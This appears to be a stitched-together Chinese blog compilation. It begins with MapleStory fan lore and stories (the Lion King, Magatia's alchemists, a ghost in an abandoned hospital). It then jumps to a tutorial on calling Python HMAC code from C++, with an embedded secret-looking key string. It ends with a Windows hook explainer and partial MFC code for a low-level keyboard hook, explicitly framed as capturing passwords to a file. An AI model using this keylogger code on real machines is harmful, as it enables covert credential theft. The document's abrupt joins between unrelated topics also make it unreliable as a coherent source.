我在秘密走廊见到了王妃伊帕娅的灵魂,我带她去见了狮子王。

但是他已经无法听见自己心爱女人的声音了。

在充满愤怒的接见室里,狮子王说:“啊……也许是因为这个,我把灵魂出卖给了黑魔法师……也许是因为我杀死了太多的人,所以听不见她的声音了,这是对我犯下的罪孽的惩罚吗……”

他拿起了一个吊坠,沉思良久。“这和个吊坠里装着很久以前宫廷画家为伊帕娅画的肖像画……我一直把它带在身边,因为它可以让我想起她,但是我已经配不上它了。”

“我出卖了灵魂,最终报了仇……我已经是一无所有了,我这样的人,没有资格去回忆她……”

“要是能回到过去,我还会这样选择吗?我想了几百遍,但还是不知道该如何选择。愤怒和忍耐……不管选择什么,都是无法回头的。”

“你回去吧。我现在不想和人战斗……”

他把那个让他的内心充满伤痕的吊坠送给了我。

我离开了接见室,在狮子王之城的第五座塔楼下,王妃伊帕娅的灵魂和我说:

“这……是我送给雷昂的吊坠。我送他这个礼物,是希望他能成为一个好的国王,没想到他还戴在身上……他果然是个多情的人。”

“唉……最终还是没能听到他说不再帮助黑魔法师了。他真的变了,那个冰冷的眼神,冰冷的语调,冰冷的心……感觉好像不再是过去的雷昂了,仇恨已经占据了他的内心。……啊,我……对不起,那个吊坠,能给我看看吗?”

我把吊坠交给了王妃。

“虽然他已经完全变了,虽然他的所作所为可能已经不可原谅……不过我不认为已经没有希望了,我相信有一天,雷昂会恢复成原来的样子。”

还有希望吗?

听了伊帕娅的话之后,狮子王的心会有所改变吗?最后还是没能听到他说不再帮助黑魔法师了。但是伊帕娅说她相信狮子王的心底的某个地方,还保留着一颗温暖的心,他一定会恢复原状的。

我一直觉得班·雷昂不像是什么坏人的样子呢,今天果然明白了。被仇恨和恐惧蒙蔽双眼时,再伟大的人也会做出无法理解的事吧。

    明明与阿里安特相连,一个永远的白昼,一个永远的暗月。
     这里充满了黑暗,科技,秘密,压迫,反抗,希望。
    玛加提亚的起源或许会是一个围绕天才、背叛和救赎的故事。
  “红色的土变成红色的风,风变成水,水又变成火,……一切皆为循环往复……”——吉米拉
玛加提亚

    “一开始,是我接到了一个委托,于是我来到了一个小镇上。那个小镇传说是炼金术士们的故乡,叫玛加提亚,坐落在尼哈沙漠东北部的不毛之地。”
    “那儿常年笼罩在迷雾之中,尖碑林立,人们行色匆匆。到处都挤满了古旧高大的砖石建筑,却有着最绚丽多彩的玻璃花窗。即使是白昼也如同最沉闷安静的夜晚。你简直不能想象一个人短短几步路就能看到多少炼金术的痕迹。”
    “玛加提亚分成了两大学派,坚持传统的魔法和炼金术相结合的蒙特鸠,和新兴的把机械工学引入炼金术的卡帕莱特。这两派互相勾心斗角,尔虞我诈,都想要打倒对方证明自己是正确的。也正是因为这样,村庄也愈发地破败下去。”
    “我接到的委托来自一个女妖精,她的女儿生了病,想请我去找她弟弟配药。她的女儿很可爱,也很聪明,好几次悄悄找我帮她做炼金术的研究。可惜是个妖精和人类的混血种……我为她去找人配好了药剂,女妖精很感谢我。然而我在她们附近发现了一个徘徊不去的……怪人。我甚至都不知道那能不能叫人,一个用齿轮和螺钉制造出来的生命……”
    “谁都不知道它的来历,连它自己也不知道。它对自己的身世一无所知,据它所说打从它有记忆的一开始就是在这儿。它想要送妖精礼物,因此它请求我,请求我帮他培养雪原玫瑰。它很悲伤,为了自己而惭愧着,希望能变成人类握住妖精的手。”
    “我替它把玫瑰送给了妖精。我一时好奇去找了后街小贩,花了大价钱混进了两个炼金协会,遇见了不少炼金术士。一个比一个会来事,指使着我跑上跑下。其中一个一开始见了挺吓人的,甚至向我下药,不过混熟之后就觉得他也有些意思的。据他说他原本是蒙特鸠的,因为左眼失明而去了卡帕莱特……”
    “他向我请求帮他找一个人,一个曾与他合作钻研这一领域的术士,也是那个妖精的丈夫,在数年前一场大爆炸中下落不明。那场前所未有爆炸引发的地动甚至损坏了玛加提亚赖以生存的魔法阵……我又去找小贩买了情报,找到了他最好的朋友,一个在世界各地流浪的炼金术士。他告诉我可以去找找他的记事本,这多少也算个有用的提议……”
“我去卡帕莱特的研究所里翻出了关于那件事的记录,还去咨询了两个会长,然而记录对此只是一笔带过,两个会长也不是含糊其辞就是推三阻四,我甚至把那个失踪的炼金术士的屋子搜了几遍,却完全没有头绪。所有的线索都中断了,看上去此事注定就此埋没在时光当中……按道理来说此时我应该可以离开了,但不知道为什么,我依然留在那个小镇上。”
    “直到有一天,我在无意中进入了一个废弃的实验室……我先前有说过两个研究所是建立在玛加提亚的地下的吗?那简直就是错综复杂的迷宫……那儿都是一些脾气暴躁的幽灵,不过其中一个倒也有点意思,一个疯疯癫癫不知道自己已经死了的疯老头子,甚至还会怕幽灵……”
    “我和他聊了聊,他说从前有个人也在那里做实验,他走后这里就彻底荒废了……为了证实自己的话,他甚至给我看了一段影像,影像中的那个博士有点面熟,唠唠叨叨要送妖精银坠子,这倒是个新线索……”
    “疯老头帮我搞到了连接两个研究所的秘密通道的通行证,我又去那间屋子搜出了坠子给了妖精,这才得到了她的信任。在她帮助下我终于拿到了那个博士的记事本,我找到流浪的炼金术士和大魔法师阿尔卡斯特,破解了上面的封印,终于看到了上面记载着的东西……原来他爱上了一个有着近乎永恒生命的妖精,还和她有了一个孩子,却越来越恐惧自己有一天不得不与她们分开……”
    “他开始做各种各样的实验,希望能延长自己的寿命,却统统失败了。不过相比起与他合作的炼金术士提出的用药物,他觉得自己最好的朋友的意见更有价值,那就是将生命转化为机械。”
    “除此之外,他还发现了一个惊人的事实,这个小镇是建立在黑魔法师的魔法阵上的,连炼金术士们的研究也是建立在黑魔法师的研究上。这也是为什么两个会长要努力抹消他的事,一旦这个消息流传出去,这个小镇必会遭到灭顶之灾……”
    “阿尔卡斯特请求我对真相保持沉默,还给了我三块魔法石去修复黑魔法师留下的魔法阵,我同意了。”
    “修复魔法阵之后,他把记事本还给了我……其实我可以随便把这本记事本交给两个协会中的任意一个,相信他们一定愿意为此支付一个让人满意的价钱……然而最终,我把那本记事本给了那个妖精。”
    “她很激动,又有点悲伤,我在这个小镇上再呆下去也没意义了,我离开了那儿。”
    “当我躺在我的床上,回味着我的玛加提亚之旅时,我脑海中忽然灵光一闪,我终于知道为什么我觉得那个博士面熟了……那是那个人造人的脸。”
    “我整个人都愣住了,我忽然意识到他成功了,他把自己转化成了可以近乎永恒存在下去的机器。当我离开的时候,那个人造人依然苦恼于自己只是个冷冰冰的机器,没有资格站在妖精的身边……可是即使把自己都忘记了,它还是深爱着他的妻子和孩子……它渴望着能变成人类去感受她们的体温,却再也不记得,不记得曾经的自己是那么绝望地想要活下去,甚至为此愿意付出一切。”

人造人A

        博士为了和自己身为妖精的妻子在一起进而研究生命的奥秘,无意间发现了黑魔法师的研究所进而得知了玛加提亚百年秘密。然而博士并没有收手,进而在黑魔法师的基础上继续研究,在创作出人造人A与自己女儿琦尼的药后因为一场实验爆炸失踪。无论如何,卡斯特莱的主席麦麦德也不得不承认“在某种程度上博士确实获得了永生,只是失去了记忆”。
       然而,在你帮琦尼完成去卡斯特莱搜集电线包,插头和D·罗伊的金属心脏后,她会说一句这样的话:
     “人造人A是个好人,总有一天我会让他变成人类的”
       这可能是最让我苦笑的一句话了——博士为了和妻女在一起(某种程度上)变成了机器人获得了永生,而自己的女儿又会将他变回人类。这个真相恐怕也只能埋葬在无数冒险家心中了,从而长成一棵畸形的树。

我不知道玛加提亚的真相到底多少人知道,但从三代主席(冰封雪域那个老人)阿斯卡特罗口中得知,因为这种事找他的不是第一次了,他自己也承认“玛加提亚是一个建立在谎言与傲慢上的城市”。两个炼金术师协会主席在一个永不见得光明的城市里等待着一位又一位冒险家到达这个城市,被质问,再悄悄隐瞒这个不得告知的秘密。

 除此之外,还有一个有趣的事。

罗密欧与朱丽叶

        那就是玛加提亚的另一个爱情故事,“罗密欧与朱丽叶”。
        朱丽叶罗密欧是属于两个不同的派系却相爱,难道大家不会去联想到博士与琵丽雅么??
        没错,如果玛加提亚依旧是这个自大又充满争斗的城市,一切都不过是轮回——无数爱情悲剧都会不断上演。

        德朗博士,为了得到永生你差点成了千古罪人,可得到永生后你又失去了太多,到最后还是有限生命的人类身体才是最美好的吗?——山豆根老师
       德朗博士的记事本:

“这里……好冷……”
“过量的使用药水,对健康却很好…”
“不要妄图去得知自己不该得知的东西。”
废都就是荒凉,腐败,勾心斗角。
内拉和吉姆、达克鲁和雪姬,都能体现废都的勾心斗角。
其实不认识的女人的任务也很温情,因为废都充满着猜忌和无情,而绷带女却很温柔的教导和帮助主角,跟其他人一比就很温情了。
每次经过废弃都市这个地方的时候,脑袋里总是在想:这里曾经是怎样一个地方。高耸却废弃的建筑,贴满破旧海报,通缉令又满是涂鸦的斑驳墙壁,南北两方都是停工的工地,废旧的地铁站没有一列载人的列车经过,整个城市永远被黄昏时透着余辉的云翳所笼罩,让人觉得颓废又毫无生气,和佩恩住的那地方没什么差别。
奇怪的是,这里居然会有人居住,而且居民不少,还有两位转职教官。不知道他们是喜欢这样的城市,还是这儿曾经遭受过巨大变故,他们正努力地重建自己的家园。
脑袋里净是这些个问题…………郁闷……不知不觉就走进了一家叫闹拉的医院中去了,医院很小,就两层,站在楼下可以就可以望到第二层。这儿没有一位医生或者是护士,二楼有一个巨大四叶的换气扇,来来回回交替着工作,把颓废的阳光反反复复地切碎,反反复复向房间里抛洒光的碎片。这个时候,我才注意到,换气扇的下面有一张白色的病床,旁边站着个理这短发,脸上缠着半边绷带,穿着白色病服,手里拿着根支架正在打点滴的女人,一个我不认识的女人。她嘴里似乎在这样碎碎念:“这里……好冷……”由于换气扇的缘故,她的声音被风声撕得零散。我在想,这里的医生都去了哪?为什么连护士也没有?X光的透视片还在机器里工作……这是为什么……?出于好奇,我打算上前询问她。靠近她时,我发现她的瞳孔深邃而无光,皮肤毫无血色像是冰块一般,纤瘦的身体像是轻盈的羽毛一般,好像吹一口气就会随风飘走,像桃乐斯一样……她……她是人么……..她见了我,没等我开口,就说:“我好冷……能帮我去弄20个破碎的镜子来吗?”我很难拒绝别人拜托我做的事,另外,我对她也很好奇。
我一出门,就搭车去勇士部落了。野猪对我来说,还算是比较麻烦的角色,弄了半天,终于凑齐了碎镜子的数量。就搭车去废都给她。她把碎镜子拼凑成一块完整的镜子,并试着将阳光借此反射,让自己觉得温暖,站在一旁的我都觉得整个房间都暖了起来,她却依然搓着手,貌似是没感觉,依旧觉得冷吗?的确,她还是说:“呃……我好冷……”
当她把脸凑到镜子前面时,我和她同时尖叫了起来。镜子中竟然没有她的脸!我吓得一屁股坐在地上,连手里的法杖都握不住了,对于我这样的冒险家来说,我似乎没有能力摆平一位幽灵小姐吧……!我的牙齿与整张脸由于惊恐而震颤地跳起舞来……她也很惊讶,她睁大了她那无光的瞳孔,就像长门使出全力要放地爆天心那样。恐惧和不安都写在了无光的瞳孔上了.“难道……我死了?!……不……不……”她抱着头,睁大着瞳孔,用颤抖的声音自言自语道…….然后转头扭向我。我叫得更厉害了。”不要杀我”,“我还不想死”之类的话,一句也喊不出了,只是双手抱着头,没命地叫着……
她轻声说了一句:“我不会杀你的,安吧……”借此来抚平我惊恐不安的心。过了很久我才平静了下来,她轻声细语的说:“能帮我弄来一百个道符吗?我想试着复活,拜托了!”我依旧无法拒绝,虽然我刚才被吓成那样。我相信她绝对需要帮助。
林中之城可是很远的呢,是这个岛的巨大地下迷宫的说。看来要搭长途巴士去了。车上,我一直在想,这女人……难道是……在手术中觉得恐惧,而使用了某种力量杀掉了医院里的人么?就像拥有六尾的羽高那样。还是……手术失败,她因此成了幽灵,医院里的所有人也因此而逃跑?可恶~!怎么能这样对待病人呢,何况还是个女人!混蛋一般的医生!我越想越气。
到了林中,面对僵尸蘑菇时,我在想:那女人复活之后,会和我面前的这个怪物一样么?我觉得很不安。虽然我是牧师,从属性上来说,对抗这些怪物比较轻松,但是我才转职不久,还是很费力。我跌跌撞撞,终于凑齐了100个道符,回去交给她。
她拿着道符摆开了复活的仪式,用不知名的液体在地上画着六芒星的阵式,然后用手将自己的能量注入阵式中。我和她只看到那阵式一次又一次地发出红色的荧光,她却毫无变化,看来……她失败了吧……她失了魂似的松了手,道符散落了一地,她开始跪坐在地上,开始啜泣。除了她的啜泣声与泪水的破裂声,不再有其他的声音。虽然我不认识她,但我的细胞里似乎天生就有照顾人的基因。所以,我走过去坐在她身边,打算安慰她。我刚一坐下,她就抱住了我。流泪的方式由啜泣变成了放声大哭。我扔下了法杖试着去抱紧她,她的身体真的很冷,就像冰块一样。我打算用我这活人的心去给予她温暖。她的泪在我的背上流淌,我似乎能在冥冥之中感受到她的伤痛与苦楚。她哽咽着对我说:“我不能复活!就算复活了,也会变成僵尸的.我不要……!但是……真的……很谢谢你!”说完,她渐渐地停止了啜泣。是哭累了么?还是感受到我所带来的温暖?算了,这都不重要。
她松开了我,不知道从哪里拿出了一件破旧的披风给我,说:“这是我还是个冒险家的时候用的,现在……我……用不着了,就给你吧,请收下!”我接过披风,感觉到这上面似乎还有她曾经作为冒险家的余温。嗯?是错觉吗?我不清楚呀,呵。
夜深了,月光和阳光一样被换气扇切得零碎,散在整个房间里,也散在她的脸上,显得她恬静又可爱,她就靠在我的肩上睡着了,这是我出来冒险那么久,第一次有人靠在我的肩上睡觉,感觉真微妙。同时,我又在想,在想前几天我转职的事情。我选择了牧师,一个圣职业,就是希望借助自己的力量去帮助别人,为别人做些什么,这可是很神圣的职业呢!现在我的修行还不够,但以后我会成为一名祭司,将来会成为一名主教,等我学会了复活术的时候,我会回来帮助你的,会借助自己的力量将你复活,请等着吧!幽!~!我觉得自己成为一名牧师是很有意义的!我顿时觉得自己的冒险人生有了目标。
我这么想的时候,幽的脸上突然绽放出不可名状的笑容,是莞尔一笑吧?!呵呵,不清楚呢。大概是梦到美好的事情了吧?哈?~难道她明白我所想的吗?呵,这都不重要呀,反正不是什么坏事。睡吧……
拂晓了,阳光一路照到我们身上,好像会有什么好事会发生……

一、配置python环境问题

1.首先安装Python(版本无所谓),安装的时候选的添加python路径到环境变量中

安装之后的文件夹如下所示:

2.在VS中配置环境和库

右击项目->属性->VC++目录

1)包含目录:

Python安装路径/include

2)库目录:

Python安装路径/libs

右击项目->属性->连接器->输入->附加依赖库

debug下:
python安装目录/libs/python37_d.lib
release下:
python安装目录/libs/python37.lib

注意
1、debug配置的时候可能没有python37_d.lib,那就把python37.lib复制一个,然后重命名为python37_d.lib就可以啦
2、如果一直报错,但是包含头文件等都没有问题,那么你需要看一下你的python是32位还是64位的。然后根据python的环境去配置vs的环境。

二、C++调用python函数并输出返回值

首先可能有个坑!一定要保证这个python函数所在的文件能够正常运行!然后把python代码放到和C++代码同一目录下。

1、定义Python函数

#!python3
# -*- coding:utf-8 -*-
import base64
import  hmac
from hashlib import sha1

def hash_hmac(code , key):
    #sha1加密签名算法
    hmac_code = hmac.new(key.encode() , code.encode() , sha1).digest()
    return base64.b64encode(hmac_code).decode()

2、编写C++代码

#include <iostream>
#include<python.h>
using namespace std;
int main()
{

    Py_Initialize();//使用python之前,要调用Py_Initialize();这个函数进行初始化
    if (!Py_IsInitialized())
    {
        printf("初始化失败!");
        return 0;
    }

    PyRun_SimpleString("import sys");
    PyRun_SimpleString("sys.path.append('./')");//这一步很重要,修改Python路径


    PyObject* pModule = NULL;//声明变量
    PyObject* pFunc = NULL;// 声明变量

    pModule = PyImport_ImportModule("hash_hmac");//这里是要调用的文件名hash_hmac.py
    if (pModule == NULL)
    {
        cout << "没找到" << endl;
    }

    pFunc = PyObject_GetAttrString(pModule, "hash_hmac");//这里是要调用的函数名
    //两个字符串参数
    PyObject* pParams = Py_BuildValue("(ss)", "/oss/upload?bucket=test&filekey=test/image/3b/3ba9d94cab2f8868823d71c4445e125a.png\n" , "q4mJAS777BUbbdVpEqh2XRcZZqNyDweU4GRnM690");
    char* result;
    PyObject* pRet = PyObject_CallObject(pFunc, pParams);//调用函数

    int res = 0;
    PyArg_Parse(pRet, "s", &result);//转换返回类型

    cout << "res:" << result << endl;//输出结果

    Py_Finalize();//调用Py_Finalize,这个根Py_Initialize相对应的。

    return 0;
}

3、解释部分C++代码

PyObject* pParams = Py_BuildValue("(ss)", "/oss/upload?bucket=test&filekey=test/image/3b/3ba9d94cab2f8868823d71c4445e125a.png\n" , "q4mJAS777BUbbdVpEqh2XRcZZqNyDweU4GRnM690");

在这里我输入了两个字符串类型的参数,Py_BuildValue()函数的作用和PyArg_ParseTuple()的作用相反,它将C类型的数据结构转换成Python对象。

该函数可以和PyArg_ParseTuple()函数一样识别一系列的格式串,但是输入参数只能是值,而不能是指针。

它返回一个Python对象和PyArg_ParseTuple()不同的一点是PyArg_ParseTuple()函数它的第一个参数为元组,Py_BuildValue()则不一定会生成一个元组。它生成一个元组仅仅当格式串包含两个或者多个格式单元,如果格式串为空,返回NONE。
在下面的描述中,括号中的项是格式单元返回的Python对象类型,方括号中的项为传递的C的值的类型。
“s” (string) [char *] :将C字符串转换成Python对象,如果C字符串为空,返回NONE。
“s#” (string) [char *, int] :将C字符串和它的长度转换成Python对象,如果C字符串为空指针,长度忽略,返回NONE。
“z” (string or None) [char *] :作用同”s”。
“z#” (string or None) [char *, int] :作用同”s#”。
“i” (integer) [int] :将一个C类型的int转换成Python int对象。
“b” (integer) [char] :作用同”i”。
“h” (integer) [short int] :作用同”i”。
“l” (integer) [long int] :将C类型的long转换成Pyhon中的int对象。
“c” (string of length 1) [char] :将C类型的char转换成长度为1的Python字符串对象。
“d” (float) [double] :将C类型的double转换成python中的浮点型对象。
“f” (float) [float] :作用同”d”。
“O&” (object) [converter, anything] :将任何数据类型通过转换函数转换成Python对象,这些数据作为转换函数的参数被调用并且返回一个新的Python对象,如果发生错误返回NULL。
“(items)” (tuple) [matching-items] :将一系列的C值转换成Python元组。
“[items]” (list) [matching-items] :将一系列的C值转换成Python列表。
“{items}” (dictionary) [matching-items] :将一系类的C值转换成Python的字典,每一对连续的C值将转换成一个键值对。

例如:
Py_BuildValue(“”) None
Py_BuildValue(“i”, 123) 123
Py_BuildValue(“iii”, 123, 456, 789) (123, 456, 789)
Py_BuildValue(“s”, “hello”) ‘hello’
Py_BuildValue(“ss”, “hello”, “world”) (‘hello’, ‘world’)
Py_BuildValue(“s#”, “hello”, 4) ‘hell’
Py_BuildValue(“()”) ()
Py_BuildValue(“(i)”, 123) (123,)
Py_BuildValue(“(ii)”, 123, 456) (123, 456)
Py_BuildValue(“(i,i)”, 123, 456) (123, 456)
Py_BuildValue(“[i,i]”, 123, 456) [123, 456] Py_BuildValue(“{s:i,s:i}”, “abc”, 123, “def”, 456) {‘abc’: 123, ‘def’: 456}
Py_BuildValue(“((ii)(ii)) (ii)”, 1, 2, 3, 4, 5, 6) (((1, 2), (3, 4)), (5, 6))

3、运行C++程序

与Python代码的预期相同。

三、Python代码处理

在发布软件的时候,通常我们都不希望代码可以直接被别人看到。

以上的Debug目录中的exe要想能够单独运行,必须把python脚本拷过去。为了不让别人能直接看到我的代码,我拷过去的是生成的.pyc文件,实现了一个简单的python代码的加密。不过据说可以反编译,但是对我来说已经够了。

四、.py和.pyc的区别

原来Python的程序中,是把原始程序代码放在.py文件里,而Python会在执行.py文件的时候。将.py形式的程序编译成中间式文件(byte-compiled)的.pyc文件,这么做的目的就是为了加快下次执行文件的速度。

所以,在我们运行python文件的时候,就会自动首先查看是否具有.pyc文件,如果有的话,而且.py文件的修改时间和.pyc的修改时间一样,就会读取.pyc文件,否则,Python就会读原来的.py文件。

其实并不是所有的.py文件在与运行的时候都会产生.pyc文件,只有在import相应的.py文件的时候,才会生成相应的.pyc文件。

五、使用.py生成.pyc

在命令行下使用下列命令即可:

python -m py_compile test.py#单文件

python -m py_compile /root/src/{file1,file2}.py#多文件

(1)什么是钩子 我们可以首先从字面上了解钩子,钩子是干什么的呢?日常生活中,我们的钩子是用来钩住某种东西的,比如,说,鱼钩是用来钓鱼的,一旦鱼咬了钩,钩子就一直钩住鱼了,任凭鱼在水里怎么游,也逃不出鱼钩的控制。同样的,Windows的钩子Hook也是用来钩东西的,比较抽象的是他是用来钩Windows事件或者消息的。最常见的就是鼠标和键盘钩子,用Hook钩子钩住鼠标、键盘,当你的鼠标、键盘有任何操作时,通过Hook就能知道他们都做了什么了,多么形象啊,把老鼠Mouse钩住了,不管你干什么,都逃不过我钩子Hook的手掌心。 技术上讲,钩子(Hook)是Windows消息处理机制的一个很重要的内容,谁叫Windows是基于消息的呢。应用程序可以通过钩子机制截获处理Window消息或是其他一些特定事件。 我们可以在同一个钩子上挂很多东西。 想起参加工作前要求被体检的时候,当你被登记之后,按照你的登记表上的顺序,就等着到各个科室一个一个的去检查吧。每一个科室都有决定你是否继续的可能,只有通过了这个,你才可以到下一个去,如果没有通过,那么,你是看不到最后的大夫了,可以直接over回家了。 如果把体检比喻为事件的话,当事件发生时,应用程序(体检过程)可以在相应的钩子Hook上设置多个钩子子程序(Hook Procedures)(多个科室的检查),由其组成一个与钩子相关联的指向钩子函数的指针列表(钩子链表)(体检表,确定了你要走的顺序)。当钩子所监视的消息出现时(你拿着表格来体检了),Windows(导诊员)首先将其送到调用链表中所指向的第一个钩子函数中(体检表上第一个科室,一般是身高体重吧,呵呵),钩子函数将根据其各自的功能(每个科室检查的项目不一样啊)对消息进行监视(有的大夫就随便看看了事)、修改(碰到好心的大夫还可以帮你往好里添点呢,呵呵)和控制(有的大夫好严格啊),并在处理完成后(当然有的大夫就直接把你刷下了,回家吧,没有下一个了)把消息传递给下一钩子函数(下一个项目的科室,当然,也可以强制消息的传递,直接打发你回家)直至到达钩子链表的末尾(检查完了!)。在钩子函数交出控制权后,被拦截的消息最终仍将交还给窗口处理函数(好了,拿着表去上班吧)。 虽然钩子函数对消息的过滤将会略加影响系统的运行效率,但在很多场合下通过钩子对消息的过滤处理可以完成一些其他方法所不能完成的特殊功能。 有道词典的屏幕取词可能就是这么完成的。。。

(2)比较专业的对钩子的技术性理解 钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。 Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。可见,利用钩子可以实现许多特殊而有用的功能。 钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。 一个Hook都有一个与之相关联的指针列表,称之为钩子链表,由系统来维护。这个列表的指针指向指定的,应用程序定义的,被Hook子程调用的回调函数,也就是该钩子的各个处理子程。当与指定的Hook类型关联的消息发生时,系统就把这个消息传递到Hook子程。一些Hook子程可以只监视消息,或者修改消息,或者停止消息的前进,避免这些消息传递到下一个Hook子程或者目的窗口。最近安装的钩子放在链的开始,而最早安装的钩子放在最后,也就是后加入的先获得控制权。 Windows并不要求钩子子程的卸载顺序一定得和安装顺序相反。每当有一个钩子被卸载,Windows 便释放其占用的内存,并更新整个Hook链表。如果程序安装了钩子,但是在尚未卸载钩子之前就结束了,那么系统会自动为它做卸载钩子的操作。 大多数人或者网上文章认为全局钩子都要依赖于一个DLL才能正常工作的,常常会看到很多人在论坛上长期争论一个话题:“全局钩子一定要在DLL里面吗?”。实际上这里有一个概念的问题,究竟上面提到的全局钩子是指什么。通过对上面各种钩子的作用域的理解就会发现这个问题的答案。 上面一共提到了15种钩子。 钩子作用域: WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL、WH_SYSMSGFILTER这5种钩子本身的作用域就是全局的,不管钩子是直接写在应用程序的代码里还是放在DLL中,他们都能够钩住系统的消息。剩下的10种钩子,他们的作用域既可以是线程的又可以是全局的,当将相应的钩子直接写在应用程序的代码中时,他们只能捕获当前线程上下文的消息。那么他们如何实现捕获全局消息的功能呢?当把钩子写入到一个单独的DLL中再引用后,系统自动将该DLL映射到受钩子函数影响的所有进程的地址空间中,即将这个DLL注入了那些进程,从而达到捕获全局消息的目的。相对来说,前面5种钩子本身就是全局的,是不需要注入的。 因此,对于前面问题的答案就是:要实现捕获全局消息功能的钩子,是否要写在单独的DLL里面,取决于钩子的类型以及相应的作用域。 如果对于同一事件既安装了线程勾子又安装了全局勾子,那么系统会自动先调用线程勾子,然后调用全局勾子。 下面我们开始实现用键盘钩子截获密码等键盘输入。

(1)使用VS创建一个MFC应用程序。

(2)编辑界面,一个开始Hook的按钮,一个结束Hook的按钮,以及一个取消按钮(可有可无)。

(3) 编辑KeyboardHookDlg.cpp,实现截取键盘按键的功能。 分别双击两个按钮,就可以生成它们的事件函数。 开始Hook的按钮事件函数:

void CKeyboardHookDlg::OnBnClickedButton1()
{
	// TODO: 在此添加控件通知处理程序代码
	string str = "start:";
	SaveFile << str << endl;

	//这里调用SetWindowsHookExA()函数,因为hook的实现不是在DLL中,而是直接在KeyboardHookDlg.cpp中实现,所有第4个参数使用GetModuleHandle(NULL)
	glhHook = SetWindowsHookExA(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), NULL);
	if (glhHook != NULL) {
		//AfxMessageBox(L"StartHook成功!");//用于打桩测试,通过后注释掉,不然太麻烦
	}
	else {
		AfxMessageBox(L"StartHook失败!");
	}
}

结束Hook的按钮事件函数:

void CKeyboardHookDlg::OnBnClickedButton2()
{
	// TODO: 在此添加控件通知处理程序代码
	UnhookWindowsHookEx(glhHook);
}

同时需要在KeyboardHookDlg.cpp文件头部添加库函数和全局变量:

#include <iostream>  
#include <string>  
#include <fstream>
 
using namespace std;
 
//全局变量
HHOOK glhHook = NULL;			//安装的鼠标勾子句柄 
BOOL g_bCapsLock = FALSE;		//大小写锁定键	
BOOL g_bShift = FALSE;			//shift键
ofstream SaveFile("key.txt")

(4)编译并运行,然后点击Hook按钮,这时随便输入一个密码,再点击结束Hook按钮, 在目录下会生成“key.txt”,其中就记录着你的按键信息。

目前代码只实现了区分大小写字母、数字、数字小键盘输入,其他的按键如标点符号等暂时没有处理。

项目地址(VS2019):https://github.com/maplefan/EasyKeyboardHook